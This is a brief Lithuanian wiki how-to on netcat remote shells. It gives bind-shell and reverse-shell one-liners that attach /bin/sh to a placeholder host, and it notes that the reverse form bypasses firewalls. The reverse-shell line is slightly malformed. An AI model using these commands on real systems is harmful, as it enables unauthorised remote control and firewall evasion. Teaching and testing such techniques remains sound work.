Netcat remote shell
Jump to navigation
Jump to search
Netcat yra galingas įrankis kurį pasitelkus galima ne tik siųsti/gauti įvairius tekstus/failus iš kitos mašinos bet ir ją valdyti pasitelkiant shell.
Prisijungimas naudojantis netcat kaip shellu[keisti]
Paprasta sesija[keisti]
Serveris (paprastas prisijungimas)[keisti]
nc -l 4000 -e /bin/sh
p.s vietoj /bin/bash, tarkim ant windows galima naudoti cmd.exe ir t.t.
Clientas jungiasi i serveri[keisti]
nc ip.ad.re.sas 4000
Reverse sesija[keisti]
Kai klientas jau pasiruoses ir laukia prisijungimo is serverio (taip apeinami visi firewall ir kiti negerumai)
Clientas[keisti]
nc -lvp 4000
Serveris (jungiasi i klienta)[keisti]
nc -nv ip.ad.re.sas-e /bin/sh
P.S[keisti]
- Taip pat nepamirskime parametro -k kuris neleidzia uzdaryti netcat serverio po kiekvieno kliento atsijungimo (veikia tik keliose netcat atsakose ir tik su -l parametru kartu).
- Netcat Windows versijai.
- Straipsnis apie reverse shellus.